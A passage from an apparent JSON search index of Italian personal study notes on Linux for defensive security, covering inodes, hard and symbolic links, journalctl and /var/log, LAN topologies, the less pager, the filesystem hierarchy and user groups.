riferimento dal nome che l'utente usa nel terminale. Dall'altra punta ai bit scritti fisicamente sui piatti del disco o sulle celle della memoria flash. Flusso dei Puntatori (ASCII Diagram) # LIVELLO UTENTE (Nomi) KERNEL (Puntatori Struct) DISCO FISICO (Bit) +--------------------+ +------------------------+ +-----------------+ | nomi.txt (Hard) | ----\u0026gt; | INODE STRUCT | | [Data Block 1] | +--------------------+ | -------------------- | | [Data Block 2] | | - Inode Number | | [Data Block 3] | +--------------------+ | - UID / GID | ---\u0026gt; | [Data Block 4] | | cognomi.txt (Hard)| ----\u0026gt; | - Permessi (rwx) | | | +--------------------+ | - Link Count: 2 | +-----------------+ | - Data Pointers ------+ | (I bit reali) | +------------------------+ +-----------------+ Caratteristiche della Struct Inode # Indipendenza dal Nome: L'Inode non contiene il nome del file. L'associazione nome-inode avviene nelle tabelle delle directory (Dentry). Metadati Completi: Contiene dimensioni, timestamp (Access, Modify, Change), e i permessi di accesso. Contatore Link (Link Count): Tiene traccia di quante directory entry (nomi) puntano a questa specifica struct. Puntatori ai Blocchi: Contiene gli indirizzi fisici dei blocchi di dati sul disco. Struttura Logica (ASCII Diagram) # (nomi e cognomi sono link simbolici hard, quindi hanno lo stesso inode)\nFILENAME (Porta) INODE (Registro) DATA BLOCKS (Stanza) +--------------+ +--------------------+ +-------------------+ | nomi.txt | -----\u0026gt; | Inode #1573299 | | \u0026#34;Dati reali del | +--------------+ | ------------------ | | file scritti sul | | - Proprietario | -----\u0026gt; | piatto del disco\u0026#34;| +--------------+ | - Permessi | | | | cognomi.txt | -----\u0026gt; | - Link Count: 2 | +-------------------+ +--------------+ | - Size / Timestamps| +--------------------+ Perché è importante per Blue Team # Recupero Dati: Anche se un file viene \u0026quot;cancellato\u0026quot; (unlink), finché l'Inode non viene sovrascritto, i dati sono recuperabili. Analisi Forense: Il numero di Inode permette di tracciare file che sono stati rinominati o spostati per nascondere attività malevole. Analisi Forense (DFIR): Poiché l'Inode sopravvive alla rimozione del nome (finché il link count non è zero), è possibile recuperare dati \u0026quot;cancellati\u0026quot; analizzando gli Inode non ancora sovrascritti. Individuazione Malware: Un attaccante potrebbe creare più Hard Link a un toolkit malevolo in diverse cartelle per garantirsi la persistence anche se uno dei file viene scoperto e rimosso. Verifica Integrità: Se due file hanno nomi diversi ma lo stesso numero di Inode, sono lo stesso identico contenuto. Collegato a # system — categoria\nstats — per vedere l'Inode\nlink-hard-vs-symbolic — i link sono puntatori a Inode\nCollegato a # bandit-12 — Identificazione file compressi tramite firme e metadati.\nTLCL — Capitolo sulla manipolazione dei file e link.\nsystem — categoria\nfile — categoria\nstat — comando per leggere la struct Inode\nlink-hard-vs-symbolic — spiega i diversi tipi di puntatori\nrm-mechanism — spiega l'operazione di unlink sulla struct\n","date":"15 marzo 2026","externalUrl":null,"permalink":"/concetti/inode-anatomy/","section":"Concetti","summary":"L'Inode (Index Node) è la struttura dati fondamentale dei filesystem Unix-like. Funge da 'carta d'identità' del file, contenendo tutti i metadati e i puntatori ai dati fisici, ma ignorando completamente il nome del file.","title":"Inode Anatomy","type":"concetti"},{"content":" Cosa fa # Interroga e visualizza i log gestiti da systemd-journald. È lo strumento standard per l'analisi dei log di sistema, dei servizi e del kernel nelle distribuzioni Linux moderne.\nRelazione Logica # journalctl è il compagno naturale di systemctl: uno gestisce lo stato dei servizi, l'altro ne analizza lo storico e le anomalie.\n[systemctl] ──── gestisce ────► [servizio] │ │ scrive log ▼ [journalctl] ◄─── legge ────── [systemd journal] │ │ filtri ▼ [grep] ◄──────── output di journalctl Sintassi # journalctl [opzioni]\nComandi essenziali # Comando Cosa fa Note Blue Team journalctl -f Log in tempo reale (follow) Come tail -f, fondamentale per il monitoraggio live. journalctl -u ssh Log di un servizio specifico Isola l'attività di un demone (es. SSH). journalctl -n 50 Ultime 50 righe Analisi rapida degli ultimi eventi. journalctl -p err Filtra per priorità Mostra solo errori (esclude info/debug). journalctl -b Log dal boot corrente Esclude i log delle sessioni precedenti. journalctl -b -1 Log dal boot precedente Utile per investigare crash di sistema. Filtri Temporali # Opzione Esempio --since \u0026quot;1 hour ago\u0026quot; Log dell'ultima ora. --since today Log dalla mezzanotte corrente. --since \u0026quot;2026-03-02\u0026quot; Log da una data specifica. Combinazioni utili (Incident Response) # # Investigazione Brute Force: Cerca login falliti nell\u0026#39;ultima ora journalctl -u ssh --since \u0026#34;1 hour ago\u0026#34; | grep \u0026#34;Failed\u0026#34; # Detection Live: Monitora errori o accessi negati in tempo reale journalctl -f | grep -i \u0026#34;error\\|failed\\|denied\u0026#34; # Metriche rapide: Quanti errori registrati oggi? journalctl --since today -p err | wc -l # Debug post-restart: Verifica lo stato di un agent di sicurezza (es. Wazuh) journalctl -u wazuh-agent --since \u0026#34;5 minutes ago\u0026#34; Scenario Reale # Un servizio critico è andato in stato failed. Dopo aver controllato con systemctl status, l'analista usa journalctl -u servizio -n 100 per leggere le ultime righe di errore e identificare se il problema è legato a permessi negati (Permission denied) o configurazioni errate, accelerando i tempi di ripristino.\nDove l'ho usato # systemctl — usato insieme per gestire e leggere i log dei servizi durante il setup del laboratorio. Note personali # Analyst Tip: La combo journalctl -f è il tuo miglior alleato. Tieni sempre un terminale aperto con questo comando durante i test: osservare i log in tempo reale ti permette di capire immediatamente se un'azione (tua o di un attaccante) sta scatenando errori di sistema.\nCollegato a # system — categoria (Hub) log — categoria (Hub) systemctl — comando che gestisce i servizi monitorati. grep — per filtrare pattern sospetti nell'output dei log. ","date":"15 marzo 2026","externalUrl":null,"permalink":"/comandi/journalctl/","section":"Comandi","summary":"Interroga e visualizza i log gestiti da systemd-journald. È lo strumento standard per l'analisi dei log di sistema, dei servizi e del kernel nelle distribuzioni Linux moderne.","title":"Journalctl","type":"comandi"},{"content":"Relazione tra journalctl e /var/log\nCos'è # Storicamente, Linux ha sempre salvato i log in file di testo semplice dentro /var/log (gestiti da un servizio chiamato syslog o rsyslog). Con l'avvento di systemd, è stato introdotto journald, che salva i log in un database binario.\nCome convivono # Nella maggior parte delle distribuzioni (come la tua Ubuntu), i due sistemi lavorano in parallelo:\nIl Flusso: journald intercetta per primo tutti i messaggi del sistema. La Consegna: journald tiene i log nel suo database (leggibile con journalctl) e, contemporaneamente, ne invia una copia al vecchio servizio rsyslog. L'Archiviazione: rsyslog prende quei messaggi e li scrive nei classici file di testo in /var/log/syslog o /var/log/auth.log. [DIAGRAMMA ASCII - Distribuzione dei Log]\n[ Sorgente Log ] ──▶ [ journald ] ──┬──▶ [ Database Binario ] ◄── [ journalctl ] │ └──▶ [ rsyslogd ] ──▶ [ /var/log/syslog ] (Testo Semplice) Differenze Chiave # Caratteristica journalctl (journald) /var/log (syslog) Formato Binario (strutturato) Testo (non strutturato) Strumento Richiede journalctl cat, grep, tail, nano Metadati Ricchi (PID, User ID, Boot ID) Base (Data, Host, Messaggio) Persistenza Può essere volatile (solo RAM) Sempre su disco Perché è importante per Blue Team # Velocità: Cercare un evento specifico con journalctl su un database indicizzato è molto più veloce che fare grep su gigabyte di file di testo in /var/log. Integrità: Un attaccante può facilmente editare /var/log/auth.log con un editor di testo per cancellare le sue tracce. Modificare il database binario di journald senza corromperlo è molto più complesso. Ridondanza: Se un attaccante cancella i file in /var/log, potresti ancora trovare le tracce usando journalctl, e viceversa. Dove l'ho incontrato # progetto-lab-vm — Analizzando i log di autenticazione per vedere i tentativi di accesso SSH. Note personali # Regola d'oro: Se cerchi log di servizi gestiti da systemd, usa journalctl. Se cerchi log di applicazioni legacy o log storici ruotati (quelli che finiscono in .gz), guarda in /var/log.\nCollegato a # log — categoria journald — il demone che genera il journal linux-filesystem-hierarchy — la posizione di /var/log ","date":"15 marzo 2026","externalUrl":null,"permalink":"/concetti/journalctl-vs-var-log/","section":"Concetti","summary":"Storicamente, Linux ha sempre salvato i log in file di testo semplice dentro /var/log (gestiti da un servizio chiamato syslog o rsyslog). Con l'avvento di systemd, è stato introdotto journald, che salva i log in un database binario.","title":"Journalctl Vs Var Log","type":"concetti"},{"content":" Cos'è # Una topologia di rete descrive come i dispositivi sono collegati fisicamente e logicamente tra loro. La scelta della topologia influenza costo, scalabilità, affidabilità e facilità di troubleshooting.\nStar Topology — Topologia a Stella # [PC 1] │ [PC 4] ────[SWITCH]──── [PC 2] │ [PC 3] Ogni dispositivo → connesso direttamente allo switch centrale ✅ Scalabile aggiungi dispositivi senza toccare gli altri ✅ Affidabile se un cavo si rompe → solo quel dispositivo cade ✅ Troubleshooting facile isoli il problema al singolo ramo ❌ Costosa più cavi + switch dedicato ❌ Single point of failure se lo switch cade → tutta la rete cade È la topologia più usata oggi — uffici, scuole, aziende.\nBus Topology — Topologia a Bus # [PC 1]──[PC 2]──[PC 3]──[PC 4]──[PC 5] └──────────────────────────────────┘ backbone cable Tutti i dispositivi condividono un unico cavo ✅ Economica un solo cavo, nessun switch ✅ Semplice da installare ❌ Bottleneck tutti i dati viaggiano sullo stesso cavo ❌ Troubleshooting difficile tutti i dati sullo stesso percorso ❌ Single point of failure il cavo si rompe → tutta la rete cade Oggi quasi in disuso — era comune nelle prime reti Ethernet.\nRing Topology — Topologia ad Anello # [PC 1] / \\ [PC 4] [PC 2] \\ / [PC 3] I dati viaggiano in una sola direzione fino a raggiungere il destinatario ✅ Poco cablaggio nessun switch dedicato ✅ Meno bottleneck il traffico è distribuito sull'anello ✅ Troubleshooting direzionale i dati vanno in una sola direzione ❌ Lenta i dati passano per tutti i nodi intermedi ❌ Fragile un cavo rotto o dispositivo guasto → tutta la rete cade Oggi rara — usata in alcuni contesti industriali.\nConfronto rapido # TOPOLOGIA COSTO SCALABILITÀ FAULT TOLERANCE OGGI ───────────────────────────────────────────────────────────── Star Alto ✅ Alta ✅ Media ✅ Dominante Bus Basso ❌ Bassa ❌ Bassa ❌ Obsoleta Ring Medio ❌ Media ❌ Bassa ❌ Rara Switch vs Hub vs Router # HUB (obsoleto) ────────────── [PC 1] ──┐ [PC 2] ──┼── HUB ── riceve pacchetto → lo manda a TUTTI [PC 3] ──┘ inefficiente, genera traffico inutile SWITCH (standard attuale) ───────────────────────── [PC 1] ──┐ [PC 2] ──┼── SWITCH ── riceve pacchetto → lo manda SOLO al destinatario [PC 3] ──┘ conosce quale MAC è su quale porta ROUTER ────── [Rete A] ──── ROUTER ──── [Rete B] │ collega reti diverse crea percorsi (routing) tra di esse lavora su IP (Layer 3) Switch + Router insieme — ridondanza # [Switch A]──────[Switch B] / \\ / \\ [PC1] [Router 1]──[Router 2] [PC2] \\ / [Internet] Se un percorso cade → i pacchetti prendono l\u0026#39;altro Costo: latenza leggermente maggiore Beneficio: nessun downtime Perché è importante per Blue Team # Star topology → se lo switch è compromesso → visibilità totale sul traffico gli switch managed loggano quale MAC è su quale porta → utile per rilevare MAC spoofing Bus topology → chiunque sulla rete vede tutto il traffico → sniffing triviale, oggi non si usa per questo Ring topology → rara, ma presente in ambienti industriali (ICS/SCADA) → superficie di attacco specifica Switch vs Hub → hub = tutti vedono tutto (sniffing facile) switch = traffico isolato per porta (più sicuro) se vedi un hub in una rete moderna → red flag Scenario Reale # Un analista deve fare un assessment su una rete aziendale. Guarda la topologia: switch managed con VLAN — buon segno. Trova un vecchio hub in un angolo collegato a 3 PC del reparto contabilità. Chiunque su quell'hub vede tutto il traffico degli altri — credenziali incluse. Priorità: sostituire l'hub con uno switch.\nDove l'ho incontrato # network-fundamentals — TryHackMe modulo 2 Collegato a # network — categoria icmp-mac-ip — MAC address e come lo switch lo usa per instradare network-interfaces — le interfacce fisiche che si connettono alla topologia nat-concept — il router fa anche NAT tra reti ","date":"15 marzo 2026","externalUrl":null,"permalink":"/concetti/lan-topologies/","section":"Concetti","summary":"Una topologia di rete descrive come i dispositivi sono collegati fisicamente e logicamente tra loro. La scelta della topologia influenza costo, scalabilità, affidabilità e facilità di troubleshooting.","title":"LAN Topologies - Topologie di Rete","type":"concetti"},{"content":" Cosa fa # Permette di visualizzare file di testo lunghi una pagina alla volta senza caricarli interamente in RAM. È il visualizzatore predefinito per i manuali di sistema (man) e per l'output di molti comandi di analisi.\nSintassi # less [opzioni] [file]\nScorciatoie di Navigazione (The \u0026quot;Less\u0026quot; Way) # Tasto Azione Descrizione Significato lettera Space / f Forward Scroll avanti di una pagina intera. Space: spazio; f: forward (avanti) b Backward Scroll indietro di una pagina intera. b: backward (indietro) d / u Down / Up Scroll avanti/indietro di mezza pagina. d: down (giù); u: up (su) j / k Jump / Up Scende/Sale di una riga (Vim style). j: freccia “verso il basso” in Vim; k: freccia “verso l’alto” in Vim g / G Start / End Salta alla prima / ultima riga del file. g: go to inizio; G: go to fine /parola Search Forward Cerca \u0026quot;parola\u0026quot; verso il basso. /: inizio comando di ricerca “in avanti” (stile Vim) ?parola Search Backward Cerca \u0026quot;parola\u0026quot; verso l'alto. ?: inizio comando di ricerca “all’indietro” n / N Next Vai alla prossima / precedente occorrenza trovata. n: next (successivo); N: Next inverso (precedente) q Quit Esci e torna al terminale. q: quit (esci) h Help Mostra la guida interna. h: help (aiuto) Perché è fondamentale per il Blue Team # Un amministratore o un analista SOC deve spesso gestire file di log giganti (es. access.log da 2GB). Usare cat o un editor grafico saturerebbe la RAM e bloccherebbe il sistema. less è istantaneo perché carica solo i byte necessari a riempire la schermata attuale.\nScenario Reale # Sei su un server compromesso e devi analizzare lo storico dei comandi (.bash_history) o un log di sistema molto denso. Usando less +G nomefile, apri il file e salti immediatamente alla fine (le azioni più recenti), permettendoti di iniziare l'investigazione istantaneamente.\nDove l'ho usato # bandit-03 — Per leggere file in directory affollate. bandit-05 — Per scorrere i risultati di ricerche massive. man — Utilizzato come motore di rendering predefinito. Note personali # Wizard Tip: Se stai visualizzando un file che sta venendo scritto in tempo reale (come un log), premi Shift + F. less entrerà in modalità \u0026quot;follow\u0026quot;, comportandosi come tail -f, ma con il vantaggio di poter interrompere il flusso con Ctrl + C per tornare a navigare nel file.\nCollegato a # system — categoria (Hub) cat — alternativa (non-pager, carica tutto l'output). man — comando che utilizza less per mostrare i manuali. ","date":"15 marzo 2026","externalUrl":null,"permalink":"/comandi/less/","section":"Comandi","summary":"Permette di visualizzare file di testo lunghi una pagina alla volta senza caricarli interamente in RAM. È il visualizzatore predefinito per i manuali di sistema (man) e per l'output di molti comandi di analisi.","title":"Less","type":"comandi"},{"content":" Cos'è # Meccanismi del filesystem per far sì che un file appaia in più posizioni contemporaneamente.\nCome funziona # Hard Links 🧱 # Originariamente, ogni file ha un hard link che gli dà il nome.\nSono indistinguibili dal file originale. Limite 1: Non possono riferirsi a file fuori dal proprio filesystem (partizione). Limite 2: Non possono riferirsi a directory. I dati esistono finché esiste almeno un link. In un sistema Linux, dobbiamo distinguere tra il nome di un file e i dati effettivi salvati sul disco. Immagina che i dati siano una stanza 🏠 e che il nome del file sia semplicemente una porta 🚪 che conduce a quella stanza.\nEcco i punti chiave per capire quella frase:\nL'Inode: I dati reali e le informazioni tecniche sono salvati in una struttura chiamata Inode 🧱. Hard Link: Ogni nome di file che vedi in una cartella è un \u0026quot;Hard Link\u0026quot;, ovvero un'etichetta che punta a un Inode. Il conteggio dei link: Linux tiene traccia di quante \u0026quot;etichette\u0026quot; (nomi) puntano a uno specifico Inode. Questo valore è chiamato Link Count. La frase \u0026quot;I dati esistono finché esiste almeno un link\u0026quot; significa che Linux non cancella i dati dal disco finché il Link Count non arriva a zero. Se hai tre nomi (Hard Link) che puntano agli stessi dati e ne cancelli due, i dati rimangono lì, accessibili tramite il terzo nome. Solo quando rimuovi l'ultimo nome, lo spazio sul disco viene liberato.\n🧱 ASCII Diagram: Hard Link \u0026amp; Inode # Ecco la visualizzazione di come nomi.txt e cognomi.txt non siano cloni, ma due \u0026quot;porte\u0026quot; 🚪 per la stessa \u0026quot;stanza\u0026quot; 🏠 sul disco:\nNomi dei File Meta-dati (Registro) Dati Reali (Directory Entry) (Inode Table) (Data Blocks) +-------------------+ +-------------------+ +-----------------+ | nomi.txt | -------\u0026gt; | Inode: 1573299 | | \u0026#34;Ciao, mi | +-------------------+ | | | chiamo Barno\u0026#34; | | - Permessi: rw- | --\u0026gt; | | +-------------------+ | - Links Count: 2 | | (Contenuto del | | cognomi.txt | -------\u0026gt; | - Size: 20 bytes | | file fisico) | +-------------------+ +-------------------+ +-----------------+ ls -l -rw-r--r-- 2 barno users 4096 Mar 8 17:15 pippo.txt ^ | Conteggio Link (Hard Links) Limiti degli Hard Link (Dettaglio Tecnico) # Basandoci sulla struttura degli Inode, gli Hard Link hanno due limiti invalicabili:\nStesso Filesystem: Poiché i numeri di Inode sono unici solo all'interno della stessa partizione, non puoi creare un Hard Link che punti a un file su un altro disco. Niente Directory: Per evitare loop infiniti nel filesystem che manderebbero in crash i tool di sistema, Linux impedisce agli utenti di creare Hard Link alle cartelle. Trovare i \u0026quot;Fratelli\u0026quot; (Hard Links) # Se hai un file e vuoi trovare tutti gli altri nomi che puntano allo stesso Inode:\n# Metodo 1: Tramite nome del file find / -samefile nomi.txt 2\u0026gt;/dev/null # Metodo 2: Tramite numero di Inode (preso da stat) find / -inum 1573299 2\u0026gt;/dev/null Symbolic Links (Soft Links) 🔗 # Creati per superare i limiti degli hard links, funzionano come puntatori testuali (simili ai collegamenti Windows).\nPossono puntare a directory e attraversare diversi filesystem. Se il file originale viene eliminato, il link diventa rotto (broken). HARD LINK SYMBOLIC LINK [Nome A] --\\ [Link S] --(testo)--\u0026gt; [Percorso/File] \u0026gt; [Inode/Dati] | [Nome B] --/ [Dati] I Soft Link (o Symbolic Link) sono file speciali che contengono semplicemente un puntatore testuale (un percorso) al file originale. # Non hanno lo stesso Inode del file di destinazione: Un Soft Link ha il suo Inode personale, che contiene la stringa del percorso (es. /home/barno/file.txt). Non puntano all'Inode: Puntano a un nome. Se quel nome scompare (perché il file viene rimosso con rm), il Soft Link continua a esistere ma punta al vuoto. È come avere un indirizzo su un biglietto da visita per una casa che è stata demolita 🏚️. 🔍 Come trovare i Link Orfani (Broken Links) # In Linux, esiste un modo \u0026quot;magico\u0026quot; per usare find per scovare questi puntatori interrotti.\n# Trova tutti i link simbolici nel percorso corrente che sono \u0026#34;rotti\u0026#34; find . -xtype l Spiegazione tecnica:\n-type l: Cercherebbe tutti i link simbolici (funzionanti e non). -xtype l: È un test speciale. Controlla il tipo del file a cui il link punta. Se il puntatore è \u0026quot;rotto\u0026quot; (ovvero il file di destinazione non esiste), find lo classifica come un link orfano. Perché il link simbolico non si \u0026quot;ripunta\u0026quot;? # Puntatore a Testo vs Puntatore a Inode: Un Hard Link è un puntatore diretto all'Inode (i dati reali). Un Soft Link (simbolico) è solo un file di testo che contiene una stringa: il percorso del file. Ignoranza dell'Inode: Quando crei un link simbolico link -\u0026gt; pippo.txt, il link non sa minimamente quale sia l'Inode di pippo.txt. Gli interessa solo che esista un file chiamato pippo.txt. L'effetto \u0026quot;Indirizzo Errato\u0026quot;: Se hai pippo.txt e pluto.txt (hard link dello stesso Inode) e il tuo simbolico punta a pippo.txt Se cancelli pippo.txt, il simbolico cercherà ancora un file chiamato pippo.txt. Anche se pluto.txt ha gli stessi identici dati (stesso Inode), il simbolico non \u0026quot;sa\u0026quot; che sono la stessa cosa. Per lui, l'indirizzo sulla busta è diventato inesistente. Perché è importante per Blue Team # Gli attaccanti possono usare i symbolic link per nascondere file o ingannare i processi di scansione. Capire se un file è un link è cruciale durante l'analisi forense per non perdere la traccia dei dati reali.\nCollegato a # file — categoria ln — comando per crearli find -comando per trovarli ","date":"15 marzo 2026","externalUrl":null,"permalink":"/concetti/link-hard-vs-symbolic/","section":"Concetti","summary":"Meccanismi del filesystem per far sì che un file appaia in più posizioni contemporaneamente.","title":"Link Hard Vs Symbolic","type":"concetti"},{"content":" Cos'è # Un collegamento simbolico (Symlink) il cui percorso di destinazione non esiste più sul filesystem. Il link punta al \u0026quot;nulla\u0026quot;.\nCome funziona # A differenza degli Hard Link, il Soft Link è solo un file di testo che contiene un indirizzo. Se la \u0026quot;casa\u0026quot; all'indirizzo viene demolita, il link rimane ma è inutile.\nSTATO FUNZIONANTE STATO \u0026#34;BROKEN\u0026#34; (ORFANO) [ Symlink ] [ Symlink ] │ │ │ (punta a...) │ (punta a...) ▼ ▼ [/tmp/pass.txt] ──► [DATI] [/tmp/pass.txt] ──► [ VUOTO / ERROR ] (File rimosso con rm) Il Problema del \u0026quot;Puntatore Cieco\u0026quot; # Il link simbolico non sa se i dati esistono ancora sotto altri nomi (Hard Links). Lui cerca solo il nome specifico che gli è stato dato. in sostanza non si autoaggiorna con uno stesso inode, ad esempio un altro link simbolico hard che ha lo stesso inode del file cancellato\n[ LINK.txt ] ----\u0026gt; cerca \u0026#34;foto.jpg\u0026#34; ----\u0026gt; [ NON TROVATO ] | (Ma i dati della foto esistono ancora | sotto il nome \u0026#34;backup.jpg\u0026#34;!) \u0026lt;-------------------/ La trappola del Percorso (Path) # Il link simbolico fallisce se il \u0026quot;percorso padre\u0026quot; cambia, perché esso è solo una stringa di testo memorizzata in un Inode.\nEsempio Assoluto vs Relativo # SCENARIO: File in /A/B/file.txt 1. LINK ASSOLUTO: \u0026#34;punta a /A/B/file.txt\u0026#34; -\u0026gt; Rinomino A in Z -\u0026gt; RISULTATO: ROTTO (Cerca ancora /A/...) 2. LINK RELATIVO: \u0026#34;punta a ../B/file.txt\u0026#34; -\u0026gt; Sposto l\u0026#39;intera struttura in /NuovaCartella/ -\u0026gt; RISULTATO: FUNZIONA (La relazione tra cartelle è preservata) Perché sono critici per la Security (Blue Team) # Indicatori di Compromissione (IoC): Un attaccante potrebbe aver rimosso un toolkit malevolo ma aver dimenticato i link simbolici che lo richiamavano. Trovarli aiuta a ricostruire i percorsi usati dall'intruso.\nSymlink Race Condition: Un attaccante può creare un link orfano che punta a un file che non esiste ancora (es. /etc/shadow.bak). Se un processo privilegiato (root) crea quel file in seguito, l'attaccante avrà già un link pronto per accedervi.\nDirottamento (Hijacking): Se un software si fida di un link orfano, un utente malintenzionato può creare un file malevolo con lo stesso nome della destinazione mancante per \u0026quot;riempire il vuoto\u0026quot; e far eseguire codice al software.\nCome identificarli nel terminale # ls: Spesso appaiono in rosso lampeggiante (se il terminale è configurato).\nfind: Il metodo più potente è usare il test sul tipo esteso.\nBash\n# Cerca link orfani partendo dalla radice find / -xtype l 2\u0026gt;/dev/null Scenario Reale # Un server web smette di funzionare dopo un aggiornamento. L'analista scopre che il file di configurazione cercava il certificato SSL tramite un link simbolico current_cert.pem. Il file reale era stato rinominato, rendendo il link orfano e bloccando l'avvio del servizio.\nDove l'ho incontrato # bandit-11 — Studio dei sistemi di puntamento. Collegato a # file — categoria\nlink-hard-vs-symbolic — base teorica\nfind — strumento di rilevamento\n","date":"15 marzo 2026","externalUrl":null,"permalink":"/concetti/broken-links/","section":"Concetti","summary":"Un collegamento simbolico (Symlink) il cui percorso di destinazione non esiste più sul filesystem. Il link punta al 'nulla'.","title":"Link Orfani (Broken Links)","type":"concetti"},{"content":" # Cosa fa # Lo standard (FHS - Filesystem Hierarchy Standard) che definisce la posizione e il contenuto delle directory principali in un sistema Linux. Tutto parte dalla \u0026quot;radice\u0026quot; rappresentata dal simbolo /.\n[ / ] (Root) │ ┌─────┴─────┬─────────────┬─────────────┬─────────────┐ [/bin] [/etc] [/proc] [/var] [/home] (Binari) (Config) (Kernel/ (Dati (Utenti) Essenziali Testo) Processi) Variabili) │ │ └─ [/user] ┌─────┴─────┐ [/var/log] [/var/mail] (Log di Sistema) Nel Dettaglio # [ / ] \u0026lt;-- LA RADICE (ROOT) │ \u0026#34;Il punto di inizio di tutto\u0026#34; │ ┌──────┴──────┬─────────────┬─────────────┬─────────────┐ │ │ │ │ │ [ /bin ] [ /etc ] [ /home ] [ /var ] [ /root ] (Binari) (Config) (Utenti) (Variabili) (Casa di Root) │ │ │ │ │ │ │ │ │ └─ Solo l\u0026#39;admin │ │ │ │ può entrare qui. │ │ │ │ │ │ │ └─ [ /var/log ] │ │ │ Qui il sistema scrive i │ │ │ \u0026#34;diari\u0026#34; (log) di ciò che │ │ │ succede. │ │ │ │ │ └─ [ /home/mario ] │ │ Ogni utente ha la sua \u0026#34;stanza\u0026#34; │ │ personale qui. │ │ │ └─ Qui ci sono i \u0026#34;manuali di istruzioni\u0026#34; │ per i programmi (file di testo). │ └─ Comandi base che servono a far partire il computer (es. ls, cp, mv). I 3 Pilastri per chi inizia: # /etc (Editable Text Configuration): Pensa a questa cartella come alla \u0026quot;centrale di controllo\u0026quot;. Se vuoi cambiare il nome del computer o impostare la password del Wi-Fi tramite file, cercherai qui dentro. ⚙️ /home: È l'unica zona dove un utente normale può creare file, scaricare musica o salvare documenti senza permessi speciali. /var/log: Se qualcosa non funziona, questo è il primo posto dove guardare. Contiene i registri delle attività del sistema. [ HARDWARE ] (CPU, RAM, Disco) │ ┌──────────────────────┐ │ KERNEL │ \u0026lt;─── Il \u0026#34;Vigile\u0026#34; (gestisce /proc e /sys) └──────────┬───────────┘ │ [ / ] (ROOT) │ ┌────────┼────────┬────────────────┬──────────────┐ │ │ │ │ │ [ /boot ] [ /root ] [ /usr ] [ /home ] [ /var ] (Kernel (Casa di (Programmi (Inquilini) (Registri) files) Root) Condivisi) │ │ │ │ │ ├─ [ /mario ] └─ [ /log ] │ └─ [🔒] ├─ [ /bin ] └─ [ /anna ] (Qui vedi chi │ └─ [ /lib ] (Ognuno ha ha installato │ i suoi file) i programmi) │ │ └─ [ /vmlinuz ] \u0026lt;─── Il file del └─ [🔒] (Anna non entra da Mario) Kernel fisico Come funziona # Mappa delle Directory Principali # Directory / File Significato Mnemotecnico Descrizione e Contenuto Critico / Root La radice. Tutto inizia da qui. /bin Binaries Programmi eseguibili pronti all'uso essenziali per il boot (es. ls, cat). /boot Boot Kernel Linux e configurazione del bootloader (GRUB). /dev Devices \u0026quot;Everything is a file\u0026quot;: l'hardware è rappresentato qui (es. /dev/sda). /etc Editable Text Configuration File di configurazione globale del sistema in formato testo. /etc/passwd Passwd Database Database degli account utente (UID, GID, Home, Shell). /etc/shadow Shadow Passwords Contiene gli hash protetti delle password (solo root può leggerlo). /etc/group Group Database Definizione dei gruppi e dei loro membri. /etc/sudoers Sudoers Club Configura chi può agire come Root tramite il comando sudo. /home Home Directory personali (\u0026quot;stanze\u0026quot;) degli utenti comuni. /lib Libraries Librerie condivise (DLL di Linux) per i binari di sistema. /media Media Mount automatico per USB, CD-ROM e media rimovibili. /mnt Mount Punto di mount manuale usato dagli amministratori. /opt Optional Software commerciale o pacchetti installati manualmente. /proc Processes File system virtuale con info su Kernel e processi (es. /proc/cpuinfo). /root Root Home La \u0026quot;stanza\u0026quot; privata dell'amministratore (UID 0). /run Runtime Dati volatili di esecuzione (socket, PID) memorizzati in RAM. /sbin System Binaries Comandi vitali riservati al superuser (es. fdisk, iptables). /sys System Interfaccia moderna per info su hardware, driver e kernel. /tmp Temporary File temporanei; spesso svuotata al riavvio. /usr User System Resources Risorse di sistema per l'utente (programmi, documentazione). /usr/bin User Binaries Binari dei programmi installati dalla distribuzione (es. nmap). /var Variable Dati che variano nel tempo (database, code di stampa, mail). /var/log Variable Log \u0026quot;Scatola nera\u0026quot; del sistema: registra ogni attività e errore. Perché è importante per Blue Team # La conoscenza della gerarchia è la base per il Threat Hunting:\nAnalisi Log: Identificare immediatamente /var/log/auth.log per tentativi di Brute Force. Persistence Detection: Monitorare directory scrivibili come /tmp o /dev/shm (RAM disk) dove gli attaccanti spesso caricano malware per evitare il rilevamento su disco fisso. Privilege Escalation: Verificare i permessi su file sensibili in /etc/shadow o binari SUID in /usr/bin. Dove l'ho incontrato # bandit-00 — navigazione base e scoperta della posizione dei file. junior-security-analyst-intro — introduzione alla struttura dei sistemi operativi. Scenario Reale # Durante l'analisi di un server compromesso, noti una connessione di rete sospetta. Controllando in /proc/[PID]/exe (dove [PID] è l'ID del processo sospetto), riesci a trovare il percorso reale del binario malevolo, scoprendo che l'attaccante lo aveva nascosto rinominandolo come un file di sistema in /tmp/.hidden_malware.\nCollegato a # system — categoria file — categoria permissions — per la gestione degli accessi alle directory log — riferimento a /var/log ","date":"15 marzo 2026","externalUrl":null,"permalink":"/concetti/linux-filesystem-hierarchy/","section":"Concetti","summary":"Lo standard (FHS - Filesystem Hierarchy Standard) che definisce la posizione e il contenuto delle directory principali in un sistema Linux. Tutto parte dalla 'radice' rappresentata dal simbolo /.","title":"Linux Filesystem Hierarchy","type":"concetti"},{"content":" Cos'è # I gruppi sono entità logiche che raggruppano più utenti per facilitare la gestione granulare dei permessi su file, directory e risorse hardware.\nCome funziona # In Linux, ogni utente deve appartenere ad almeno un gruppo. Il sistema gestisce due tipi di appartenenza:\nPrimary Group (GID): Creato automaticamente alla creazione dell'utente (solitamente ha lo stesso nome dell'utente). È il gruppo assegnato di default a ogni nuovo file creato dall'utente. Secondary Groups: Gruppi aggiuntivi a cui l'utente viene aggiunto per ottenere privilegi specifici (es. sudo, docker, wireshark). Architettura dei Gruppi (Il Database di Sistema) # I gruppi non sono \u0026quot;oggetti\u0026quot; astratti, ma righe di testo in file critici:\n/etc/group: Contiene l'elenco di tutti i gruppi e i loro membri. /etc/gshadow: Contiene le password dei gruppi (raramente usate, ma esistenti per sicurezza). cat /etc/group redteam : x : 1001 : hacker_junior,barno │ │ │ │ │ │ │ └─ 4. MEMBRI: Lista utenti (separati da virgola) │ │ └────────────── 3. GID: L\u0026#39;ID numerico del gruppo │ └──────────────────── 2. PASSWORD: \u0026#39;x\u0026#39; (protetta in /etc/gshadow) └───────────────────────────── 1. NOME GRUPPO [ UTENTE: BARNO ] ───▶ Esegue il comando \u0026#39;id\u0026#39; │ ┌───────┴──────────────────────────┐ │ │ [ UID: 1001 ] [ GID: 1001 ] (User ID) (Group ID Primario) │ │ 